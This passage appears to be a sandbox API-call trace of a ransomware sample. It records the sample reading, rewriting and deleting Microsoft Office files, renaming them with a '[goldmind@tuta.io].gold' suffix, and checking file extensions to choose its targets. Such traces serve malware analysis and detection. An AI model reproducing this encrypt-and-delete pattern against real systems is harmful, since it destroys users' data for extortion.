office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.777] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.777] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.778] GetLastError () returned 0x0 [0108.778] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xd3, lpOverlapped=0x0) returned 1 [0108.778] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0108.779] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.779] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0108.779] SetEndOfFile (hFile=0x3a8) returned 1 [0108.779] CloseHandle (hObject=0x3a8) returned 1 [0108.779] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.779] SetEndOfFile (hFile=0x380) returned 1 [0108.781] CloseHandle (hObject=0x380) returned 1 [0108.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".doc") returned 4 [0108.783] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.783] lstrlenW (lpString=".docx") returned 5 [0108.783] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.783] lstrlenW (lpString=".pdf") returned 4 [0108.783] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".xls") returned 4 [0108.783] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".xlsx") returned 5 [0108.783] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.783] lstrlenW (lpString=".ppt") returned 4 [0108.783] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".zip") returned 4 [0108.783] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".rar") returned 4 [0108.783] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".bz2") returned 4 [0108.783] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.783] lstrlenW (lpString=".7z") returned 3 [0108.783] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".dbf") returned 4 [0108.783] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".1cd") returned 4 [0108.783] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".jpg") returned 4 [0108.783] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".doc") returned 4 [0108.783] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0108.783] lstrlenW (lpString=".docx") returned 5 [0108.783] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0108.783] lstrlenW (lpString=".pdf") returned 4 [0108.783] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".xls") returned 4 [0108.783] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".xlsx") returned 5 [0108.783] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0108.783] lstrlenW (lpString=".ppt") returned 4 [0108.783] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.783] lstrlenW (lpString=".zip") returned 4 [0108.783] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".rar") returned 4 [0108.783] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0108.783] lstrlenW (lpString=".bz2") returned 4 [0108.783] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0108.783] lstrlenW (lpString=".7z") returned 3 [0108.784] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0108.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.784] lstrlenW (lpString=".dbf") returned 4 [0108.784] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0108.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.784] lstrlenW (lpString=".1cd") returned 4 [0108.784] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0108.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0108.784] lstrlenW (lpString=".jpg") returned 4 [0108.784] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0108.784] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.784] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0108.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.784] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0108.784] CloseHandle (hObject=0x380) returned 1 [0108.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 0x20 [0108.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.785] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.785] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.786] GetLastError () returned 0x0 [0108.786] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0108.786] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.787] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.787] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0108.787] SetEndOfFile (hFile=0x3a8) returned 1 [0108.787] CloseHandle (hObject=0x3a8) returned 1 [0108.787] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.787] SetEndOfFile (hFile=0x380) returned 1 [0108.789] CloseHandle (hObject=0x380) returned 1 [0108.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 1 [0108.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.790] lstrlenW (lpString=".doc") returned 4 [0108.790] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.790] lstrlenW (lpString=".docx") returned 5 [0108.790] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.790] lstrlenW (lpString=".pdf") returned 4 [0108.790] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.790] lstrlenW (lpString=".xls") returned 4 [0108.790] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.790] lstrlenW (lpString=".xlsx") returned 5 [0108.790] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.790] lstrlenW (lpString=".ppt") returned 4 [0108.790] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.790] lstrlenW (lpString=".zip") returned 4 [0108.790] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.790] lstrlenW (lpString=".rar") returned 4 [0108.790] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.790] lstrlenW (lpString=".bz2") returned 4 [0108.790] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.790] lstrlenW (lpString=".7z") returned 3 [0108.790] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".dbf") returned 4 [0108.791] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".1cd") returned 4 [0108.791] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".jpg") returned 4 [0108.791] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".doc") returned 4 [0108.791] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.791] lstrlenW (lpString=".docx") returned 5 [0108.791] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.791] lstrlenW (lpString=".pdf") returned 4 [0108.791] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.791] lstrlenW (lpString=".xls") returned 4 [0108.791] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.791] lstrlenW (lpString=".xlsx") returned 5 [0108.791] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.791] lstrlenW (lpString=".ppt") returned 4 [0108.791] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".zip") returned 4 [0108.791] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.791] lstrlenW (lpString=".rar") returned 4 [0108.791] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.791] lstrlenW (lpString=".bz2") returned 4 [0108.791] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.791] lstrlenW (lpString=".7z") returned 3 [0108.791] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".dbf") returned 4 [0108.791] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".1cd") returned 4 [0108.791] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0108.791] lstrlenW (lpString=".jpg") returned 4 [0108.791] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.791] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.791] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0108.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.792] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=113) returned 1 [0108.792] CloseHandle (hObject=0x380) returned 1 [0108.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 0x20 [0108.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.792] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.792] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0108.793] GetLastError () returned 0x0 [0108.793] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x71, lpOverlapped=0x0) returned 1 [0108.800] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.800] ReadFile (in: hFile=0x380, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.800] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0108.801] SetEndOfFile (hFile=0x3a8) returned 1 [0108.801] CloseHandle (hObject=0x3a8) returned 1 [0108.801] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.801] SetEndOfFile (hFile=0x380) returned 1 [0108.803] CloseHandle (hObject=0x380) returned 1 [0108.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 1 [0108.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.804] lstrlenW (lpString=".doc") returned 4 [0108.804] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.804] lstrlenW (lpString=".docx") returned 5 [0108.804] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.804] lstrlenW (lpString=".pdf") returned 4 [0108.804] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.804] lstrlenW (lpString=".xls") returned 4 [0108.804] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.804] lstrlenW (lpString=".xlsx") returned 5 [0108.804] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.804] lstrlenW (lpString=".ppt") returned 4 [0108.804] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.804] lstrlenW (lpString=".zip") returned 4 [0108.804] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.804] lstrlenW (lpString=".rar") returned 4 [0108.804] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.804] lstrlenW (lpString=".bz2") returned 4 [0108.804] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.804] lstrlenW (lpString=".7z") returned 3 [0108.804] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".dbf") returned 4 [0108.805] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".1cd") returned 4 [0108.805] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".jpg") returned 4 [0108.805] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".doc") returned 4 [0108.805] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.805] lstrlenW (lpString=".docx") returned 5 [0108.805] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.805] lstrlenW (lpString=".pdf") returned 4 [0108.805] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.805] lstrlenW (lpString=".xls") returned 4 [0108.805] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.805] lstrlenW (lpString=".xlsx") returned 5 [0108.805] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.805] lstrlenW (lpString=".ppt") returned 4 [0108.805] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".zip") returned 4 [0108.805] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.805] lstrlenW (lpString=".rar") returned 4 [0108.805] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.805] lstrlenW (lpString=".bz2") returned 4 [0108.805] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.805] lstrlenW (lpString=".7z") returned 3 [0108.805] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".dbf") returned 4 [0108.805] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".1cd") returned 4 [0108.805] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK") returned 69 [0108.805] lstrlenW (lpString=".jpg") returned 4 [0108.805] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.805] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0108.805] lstrlenW (lpString="WINWORD.HXS") returned 11 [0108.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.806] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5240293) returned 1 [0108.806] CloseHandle (hObject=0x380) returned 1 [0108.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs")) returned 0x20 [0108.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0108.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS") returned 59 [0108.806] lstrlenW (lpString=".doc") returned 4 [0108.806] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.806] lstrlenW (lpString=".docx") returned 5 [0108.806] lstrcmpiW (lpString1=".docx", 